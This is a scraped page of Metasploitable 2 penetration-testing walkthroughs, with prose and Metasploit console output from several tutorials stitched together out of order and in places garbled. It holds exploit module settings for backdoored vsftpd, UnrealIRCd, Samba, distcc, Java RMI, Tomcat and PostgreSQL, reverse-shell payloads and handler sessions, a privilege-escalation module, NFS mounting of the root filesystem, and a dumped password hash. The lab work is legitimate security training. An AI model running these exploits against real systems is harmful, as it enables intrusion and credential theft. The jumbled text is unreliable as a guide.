For this walk-though I use the Metasploit framework to attempt to perform a penetration testing exercise on Metasploitable 2. RPORT 23 yes The target port -- ---- In Metasploit, an exploit is available for the vsftpd version. Using Metasploit and Nmap to enumerate and scan for vulnerabilities In this article, we will discuss combining Nmap and Metasploit together to perform port scanning and enumerate for. Metasploitable Networking: msf 5> db_nmap -sV -p 80,22,110,25 192.168.94.134. RHOST 192.168.127.154 yes The target address In this example, the URL would be http://192.168.56.101/phpinfo.php. RPORT 21 yes The target port To make this step easier, both Nessus and Rapid7 NexPose scanners are used locate potential vulnerabilities for each service. In Metasploitable that can be done in two ways, first, you can quickly run the ifconfig command in the terminal and find the IP address of the machine or you can run a Nmap scan in Kali. Metasploitable 3 is a build-it-on-your-own-system operating system. The root directory is shared. There are a number of intentionally vulnerable web applications included with Metasploitable. Getting started Step 1: Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux. First lets start MSF so that it can initialize: By searching the Rapid7 Vulnerability & Exploit Database we managed to locate the following TWiki vulnerability: Alternatively the command search can be used at the MSF Console prompt. [*] Reading from socket B Perform a ping of IP address 127.0.0.1 three times. The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. From the shell, run the ifconfig command to identify the IP address. All rights reserved. msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154 They are input on the add to your blog page. Unlike other vulnerable virtual machines, Metasploitable focuses on vulnerabilities at the operating system and network services layer instead of custom, vulnerable . RPORT 139 yes The target port RHOST 192.168.127.154 yes The target address msf auxiliary(postgres_login) > show options [*] Accepted the second client connection Learn Ethical Hacking and Penetration Testing Online. uname -a Just enter ifconfig at the prompt to see the details for the virtual machine. We can demonstrate this with telnet or use the Metasploit Framework module to automatically exploit it: On port 6667, Metasploitable2 runs the UnreaIRCD IRC daemon. This VM could be used to perform security training, evaluate security methods, and practice standard techniques for penetration testing. Payload options (java/meterpreter/reverse_tcp): SSLCert no Path to a custom SSL certificate (default is randomly generated) [*] A is input LHOST => 192.168.127.159 Module options (exploit/linux/postgres/postgres_payload): [*] USER: 331 Please specify the password. Luckily, the Metasploit team is aware of this and released a vulnerable VMware virtual machine called 'Metasploitable'. [*] instance eval failed, trying to exploit syscall How to Use Metasploit's Interface: msfconsole. PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used) msf auxiliary(tomcat_administration) > set RHOSTS 192.168.127.154 Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state. [*] Writing to socket B [*] Started reverse handler on 192.168.127.159:4444 Step 1:Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux. For example, noting that the version of PHP disclosed in the screenshot is version 5.2.4, it may be possible that the system is vulnerable to CVE-2012-1823 and CVE-2012-2311 which affected PHP before 5.3.12 and 5.4.x before 5.4.2. 0 Automatic Now we narrow our focus and use Metasploit to exploit the ssh vulnerabilities. Long list the files with attributes in the local folder. I am new to penetration testing . [*] Command: echo D0Yvs2n6TnTUDmPF; Part 2 - Network Scanning. RHOST yes The target address NOTE: Compatible payload sets differ on the basis of the target selected. RHOST yes The target address Set Version: Ubuntu, and to continue, click the Next button. We can see a few insecure web applications by navigating to the web server root, along with the msfadmin account information that we got earlier via telnet. ---- --------------- -------- ----------- :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname RHOST yes The target address [*] Writing to socket A [*] Trying to mount writeable share 'tmp' [*] Trying to link 'rootfs' to the root filesystem [*] Now access the following share to browse the root filesystem: msf auxiliary(samba_symlink_traversal) > exit, root@ubuntu:~# smbclient //192.168.99.131/tmp, getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec). RHOSTS => 192.168.127.154 Module options (exploit/unix/irc/unreal_ircd_3281_backdoor): Module options (exploit/unix/ftp/vsftpd_234_backdoor): ---- --------------- -------- ----------- Module options (exploit/unix/webapp/twiki_history): Metasploitable 2 offers the researcher several opportunities to use the Metasploit framework to practice penetration testing. LHOST => 192.168.127.159 Alternatively, you can also use VMWare Workstation or VMWare Server. ---- --------------- -------- ----------- The login for Metasploitable 2 is msfadmin:msfadmin. TCP ports 512, 513, and 514 are known as "r" services, and have been misconfigured to allow remote access from any host (a standard ".rhosts + +" situation). ---- --------------- ---- ----------- msf exploit(postgres_payload) > use exploit/linux/local/udev_netlink Name Current Setting Required Description [*] Uploaded as /tmp/uVhDfWDg.so, should be cleaned up automatically payload => linux/x86/meterpreter/reverse_tcp [*] Meterpreter session, using get_processes to find netlink pid So lets try out every port and see what were getting. SSLCert no Path to a custom SSL certificate (default is randomly generated) -- ---- STOP_ON_SUCCESS => true For the final challenge you'll be conducting a short and simple vulnerability assessment of the Metasploitable 2 system, by launching your own vulnerability scans using Nessus, and reporting on the vulnerabilities and flaws that are discovered. It aids the penetration testers in choosing and configuring of exploits. PASSWORD => tomcat [*] Reading from sockets The vulnerability being demonstrated here is how a backdoor was incorporated into the source code of a commonly used package, namely vsftp. [*] Scanned 1 of 1 hosts (100% complete) [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:52283) at 2021-02-06 21:34:46 +0300 Closed 6 years ago. Exploit target: Lets go ahead. (Note: A video tutorial on installing Metasploitable 2 is available here.). Backdoors - A few programs and services have been backdoored. To build a new virtual machine, open VirtualBox and click the New button. ---- --------------- -------- ----------- The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. cmd/unix/interact normal Unix Command, Interact with Established Connection Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state . What is Metasploit This is a tool developed by Rapid7 for the purpose of developing and executing exploits against vulnerable systems. SESSION => 1 This will provide us with a system to attack legally. Description. 0 Generic (Java Payload) Vulnerable Products: Microsoft Office 2007 SP3/2010 SP2/2013 SP1/2016, Vista SP2, Server 2008 SP2, Windows 7 SP1, Windows 8.1. [*] Writing to socket A Metasploit is a free open-source tool for developing and executing exploit code. DATABASE template1 yes The database to authenticate against [*] Started reverse handler on 192.168.127.159:4444 msf exploit(distcc_exec) > set payload cmd/unix/reverse [+] Found netlink pid: 2769 Name Current Setting Required Description THREADS 1 yes The number of concurrent threads This is an issue many in infosec have to deal with all the time. S /tmp/run SRVHOST 0.0.0.0 yes The local host to listen on. [*] Accepted the second client connection This tutorial shows how to install it in Ubuntu Linux, how it works, and what you can do with this powerful security auditing tool. For your test environment, you need a Metasploit instance that can access a vulnerable target. Then start your Metasploit 2 VM, it should boot now. To have over a dozen vulnerabilities at the level of high on severity means you are on an . Id Name whoami If you are prompted for an SSH key, this means the rsh-client tools have not been installed and Ubuntu is defaulting to using SSH. [*] Writing to socket A Inspired by DVWA, Mutillidae allows the user to change the "Security Level" from 0 (completely insecure) to 5 (secure). whoami RPORT 1099 yes The target port The PHP info information disclosure vulnerability provides internal system information and service version information that can be used to look up vulnerabilities. ---- --------------- -------- ----------- Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.". And this is what we get: In addition to these system-level accounts, the PostgreSQL service can be accessed with username postgres and password postgres, while the MySQL service is open to username root with an empty password. 5.port 1524 (Ingres database backdoor ) Tip How to use Metasploit commands and exploits for pen tests These step-by-step instructions demonstrate how to use the Metasploit Framework for enterprise vulnerability and penetration testing. Sources referenced include OWASP (Open Web Application Security Project) amongst others. Metasploitable 2 is a straight-up download. A malicious backdoor that was introduced to the Unreal IRCD 3.2.8.1 download archive is exploited by this module. Associated Malware: FINSPY, LATENTBOT, Dridex. On Linux multiple commands can be run after each other using ; as a delimiter: These results are obtained using the following string in the form field: The above string breaks down into these commands being executed: The above demonstrates that havoc could be raised on the remote server by exploiting the above vulnerability. msf exploit(drb_remote_codeexec) > set LHOST 192.168.127.159 As the payload is run as the constructor of the shared object, it does not have to adhere to particular Postgres API versions. Exploit target: The-e flag is intended to indicate exports: Oh, how sweet! Since we noticed previously that the MySQL database was not secured by a password, were going to use a brute force auxiliary module to see whether we can get into it. URI => druby://192.168.127.154:8787 [*] Matching DB_ALL_CREDS false no Try each user/password couple stored in the current database This document will continue to expand over time as many of the less obvious flaws with this platform are detailed. msf auxiliary(postgres_login) > run Name Current Setting Required Description It gives you everything you need from scanners to third-party integrations that you will need throughout an entire penetration testing lifecycle. Id Name The vulnerabilities identified by most of these tools extend . ---- --------------- -------- ----------- Using default colormap which is TrueColor. Metasploit Discover target information, find vulnerabilities, attack and validate weaknesses, and collect evidence. whoami root, http://192.168.127.159:8080/oVUJAkfU/WAHKp.jar, Kali Linux VPN Options and Installation Walkthrough, Feroxbuster And Why It Is The Best Forced Browsing Attack Tool, How to Bypass Software Security Checks Through Reverse Engineering, Ethical Hacking Practice Test 6 Footprinting Fundamentals Level1, CEH Practice Test 5 Footprinting Fundamentals Level 0. Metasploitable 3 is the updated version based on Windows Server 2008. [*] Transmitting intermediate stager for over-sized stage(100 bytes) THREADS 1 yes The number of concurrent threads Exploit target: This module takes advantage of the RMI Registry and RMI Activation Services default configuration, allowing classes to be loaded from any remote URL (HTTP). Name Current Setting Required Description [*] Accepted the first client connection [*] 192.168.127.154:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP) root ---- --------------- -------- ----------- Step 3: Set the memory size to 512 MB, which is adequate for Metasploitable2. Same as credits.php. We dont really want to deprive you of practicing new skills. The Metasploitable virtual machine is an intentionally vulnerable version of Ubuntu Linux designed for testing security tools and demonstrating common vulnerabilities. Here is the list of remote server databases: information_schema dvwa metasploit mysql owasp10 tikiwiki tikiwiki195. So, lets set it up: mkdir /metafs # this will be the mount point, mount -t nfs 192.168.127.154:/ /metafs -o nolock # mount the remote shared directory as nfs and disable file locking. In Cisco Prime LAN Management Solution, this vulnerability is reported to exist but may be present on any host that is not configured appropriately. [*] Scanned 1 of 1 hosts (100% complete) [*] Matching The Metasploit Framework from Rapid7 is one of the best-known frameworks in the area of vulnerability analysis, and is used by many Red Teams and penetration testers worldwide. [*] Reading from socket B Module options (exploit/multi/samba/usermap_script): msf exploit(usermap_script) > show options Step 6: On the left menu, click the Network button and change your network adapter settings as follows: Advanced Select: Promiscuous Mode as Allow All Attached, Network Setting: Enable Network Adapter and select Ethernet or Wireless. Metasploit has a module to exploit this in order to gain an interactive shell, as shown below. -- ---- Metasploitable3 is a VM that is built from the ground up with a large amount of security vulnerabilities. Step 6: Display Database Name. These backdoors can be used to gain access to the OS. We can read the passwords now and all the rest: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. ---- --------------- ---- ----------- Set Version: Ubuntu, and to continue, click the Next button. The VNC service provides remote desktop access using the password password. Name Current Setting Required Description tomcat55, msf > use exploit/linux/misc/drb_remote_codeexec A list that may be useful to readers that are studying for a certification exam or, more simply, to those who just want to have fun! URIPATH no The URI to use for this exploit (default is random) Exploit target: Exploiting Samba Vulnerability on Metasploit 2 The screenshot below shows the results of running an Nmap scan on Metasploitable 2. First, whats Metasploit? VM version = Metasploitable 2, Ubuntu 64-bit Kernel release = 2.6.24-16-server IP address = 10.0.2.4 Login = msfadmin/msfadmin NFS Service vulnerability First we need to list what services are visible on the target: Performing a port scan to discover the available services using the Network Mapper 'nmap'. [*] B: "7Kx3j4QvoI7LOU5z\r\n" The web server starts automatically when Metasploitable 2 is booted. PASSWORD => tomcat This particular version contains a backdoor that was slipped into the source code by an unknown intruder. msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse VHOST no HTTP server virtual host 22. msf exploit(java_rmi_server) > show options VHOST no HTTP server virtual host Select Metasploitable VM as a target victim from this list. 17,011. Essentially thistests whether the root account has a weak SSH key, checking each key in the directory where you have stored the keys. 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